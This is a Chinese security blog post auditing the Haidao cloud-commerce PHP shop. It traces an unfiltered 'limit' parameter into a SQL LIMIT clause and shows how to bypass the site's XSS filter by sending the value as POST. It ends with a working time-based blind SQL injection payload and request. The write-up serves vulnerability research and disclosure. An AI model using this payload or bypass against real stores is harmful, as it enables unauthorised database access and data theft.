• 投稿邮箱:admin@xssec.org 查看详情
  • 本站教程默认解压密码:666
  • 官方新浪微博:Porry呦
  •    1个月前 (12-10)  漏洞库 |   6 条评论

    0x00 代码审计

    /system/module/goods/control/index_control.class.php中第105行:

    public function ajax_goods(){
                    $sqlmap = array();
                    if($_GET['order']){
                            $sqlmap['order'] = $_GET['order'] == 'rand' ? 'rand()' : ($_GET['order'] == 'sales' ? $sqlmap['order'] = 'sales desc' : $_GET['order']);
                    }else{
                            $sqlmap['order'] = 'sort asc,sku_id desc';
                    }
                    if($_GET['statusext']){
                            $sqlmap['status_ext'] = $_GET['statusext'];
                    }
                    if($_GET['catid'] > 0){
                            $sqlmap['catid'] = $_GET['catid'];
                    }
                    if($_GET['limit']){
                            $options['limit'] = $_GET['limit'];
                    }else{
                            $options['limit'] = 5;
                    }
                    $result = $this->service->lists($sqlmap,$options);
                    foreach ($result['lists'] as $key => $value) {
                            $result['lists'][$key]['thumb'] = thumb($value['thumb'],$_GET['length'],$_GET['length']);
                    }
                    echo json_encode($result);
            }
    

    可以看到这个ajax_goods有很多变量是可控的。
    比如这个$options['limit'] = $_GET['limit'];
    可以看到是取得GET传进来limit参数,没有做任何过滤,所以这个 $options['limit']是可控的。
    然后跟踪一下这个变量进入到了哪里,可以看到带入到了lists()函数中,追踪一下这个函数:
    在/system/module/goods/model/service/goods_sku_service.class.php中第535行:

    public function lists($sqlmap = array(),$options = array()){
                    $sqlmap = $this->build_goods_map($sqlmap);
                    $map = array();
                    if(!empty($sqlmap['status_ext'])){
                            $map['status_ext'] = $sqlmap['status_ext'];
                            unset($sqlmap['status_ext']);
                    }
                    $goods_ids = $this->build_goods_ids($sqlmap);
                    if(isset($sqlmap['price'])){
                            $map = $this->build_sku_map($sqlmap);
                    }
                    $map['sku_id'] = array('IN',$goods_ids);
                    $map['status'] = array('EQ',1);
                    $count = $this->index_db->where($map)->count();
                    $sku_ids = $this->index_db->where($map)->page($options['page'])->order($sqlmap['order'])->limit($options['limit'])->getfield('sku_id',TRUE);
                    foreach ($sku_ids AS $sku_id) {
                            $result[] = $this->sku_db->detail($sku_id,TRUE,'goods',false)->show_index()->output();
                    }
                    return array('count' => $count,'lists' => $result);
            }
    

    直接追踪一下limit变量在哪里,我们可以看到这里:
    $sku_ids = $this->index_db->where($map)->page($options['page'])->order($sqlmap['order'])->limit($options['limit'])->getfield('sku_id',TRUE);
    这里出现了可控的$options['limit'],是被带入到了limit()函数中,追踪一下这个函数:
    在/haidao/system/library/table.class.php中第1489行:

      public function limit($offset,$length=null){
            $this->options['limit'] =   is_null($length)?$offset:$offset.','.$length;
            return $this;
        }
    

    取sql语句中limit值的操作,没有用什么int之类的来过滤,意味着可以在limit后插入任意字符来进行注入,所以这就是个limit注入。
    稍微fuzz一下,看看语句是怎么样的。
    先访问:http://localhost/index.php?m=goods&c=index&a=ajax_goods&limit=1,666
    然后我们去看一下数据库中的语句:
    SELECT `sku_id` FROM `hd_goods_index` WHERE ( `sku_id` IN () ) AND ( `status` = 1 ) ORDER BY sort asc,sku_id desc LIMIT 1,666
    成功控制了limit后的语句。不过这条语句是有问题的。因为WHERE ( `sku_id` IN () )这个IN里面没有值,所以会报错。
    只要添加一个商品就可以了。在实际情况中不会出现这种,毕竟是一个商城系统.
    后台添加一个商品,然后再访问这个链接,然后看数据库中的语句:
    SELECT `sku_id` FROM `hd_goods_index` WHERE ( `sku_id` IN ('2') ) AND ( `status` = 1 ) ORDER BY sort asc,sku_id desc LIMIT 1,666
    可以看到IN里面有值了,就不会报错了。
    然后开始进行limit注入,因为不能报错,所以只能用盲注来进行注入。

    先访问一下payload试试:http://localhost/haidao/index.php?m=goods&c=index&a=ajax_goods&limit=limit=1,1 procedure analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(10000000,sha1(1)),1)))),1)*
    海盗云商前台无限制注入
    是被拦截了,我们看一下拦截函数在/system/library/application.class.php中第164行:

      private function _xss_check() {
                    static $check = array('"', '>', '<', '\'', '(', ')', 'CONTENT-TRANSFER-ENCODING');
                    if($_SERVER['REQUEST_METHOD'] == 'GET' ) {
                            $temp = $_SERVER['REQUEST_URI'];
                    } elseif(empty ($_GET['formhash'])) {
                            $temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input');
                    } else {
                            $temp = '';
                    }
                    $temp = $_SERVER['REQUEST_URI'];
                    if(!empty($temp)) {
                            $temp = strtoupper(urldecode(urldecode($temp)));
                            foreach ($check as $str) {
                                    if(strpos($temp, $str) !== false) {
                                            error::system_error('request_tainting');
                                    }
                            }
                    }
                    return true;
            }
    

    是一个xss过滤的函数,不过它过滤了括号,它拦截的是$_SERVER['REQUEST_URI']中的字符串,意味着只要用GET方式来传递的话,就要被拦截了,
    再看一下在哪里调用了_xss_check()这个函数在该文件的第54行:

    private function _init_input() {
            if (isset($_GET['GLOBALS']) ||isset($_POST['GLOBALS']) ||  isset($_COOKIE['GLOBALS']) || isset($_FILES['GLOBALS'])) {
                error::system_error('request_tainting');
            }
            $this->_xss_check();
            if(MAGIC_QUOTES_GPC) {
                $_GET = dstripslashes($_GET);
                $_POST = dstripslashes($_POST);
                $_COOKIE = dstripslashes($_COOKIE);
            }
            if(IS_POST && !empty($_POST)) {
                $_GET = array_merge($_GET, $_POST);
            }
            $_GET['page'] = max(1, intval($_GET['page']));
            define('IS_AJAX',       ((isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') || !empty($_POST[config('VAR_AJAX_SUBMIT')]) || !empty($_GET[config('VAR_AJAX_SUBMIT')])) ? true : false);
        }
    

    在_init_input()这个函数中引用了_xss_check()这个函数,但是这里可以让_xss_check()这个函数一点用都没有:

       if(IS_POST && !empty($_POST)) {
                            $_GET = array_merge($_GET, $_POST);
                    }
    

    如果存在POST数据的话,就把$_POST和$_GET合并成一个数组并重新赋值给$_GET。这个就可以绕过那个_xss_check()了。
    这里的$_GET['limit']其实就是$_POST['limit']和$_GET['limit']的集合,意味着传入一个$_POST['limit'],那么这里也是能够取到值的。所以我们将注入语句通过POST来传递的话,因为_xss_check()检测的是$_SERVER['REQUEST_URI']。所以就可以绕过检测。
    0x01漏洞复现

    poc:http://localhost/index.php?m=goods&c=index&a=ajax_goods
    POST: limit=1,1 procedure analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(10000000,sha1(1)),1)))),1)
    

    可以看到成功延迟了:
    海盗云商前台无限制注入

     

    除特别注明外,本站所有文章均为新世纪安全社区原创,转载请注明出处来自http://www.xssec.org/1409.html

    八块腹肌挂腰间,续写另类拳皇篇。

    发表评论

    1. 学习了,

      wwp1241144977 1个月前 (12-14) [0] [0]
    2. 非常感谢分享, 学习了

      神州 1个月前 (12-11) [0] [0]
    3. 哦哦哦哦哦,学习了,

      SLJKDH13 1个月前 (12-11) [0] [0]
    4. 顶一个

      azssd3 1个月前 (12-10) [0] [0]
    5. 还行吧

      azssd3 1个月前 (12-10) [0] [0]
    6. 沙发

      azssd3 1个月前 (12-10) [0] [0]
    
    切换注册

    登录

    忘记密码 ?

    您也可以使用第三方帐号快捷登录

    切换登录

    注册

    扫一扫二维码分享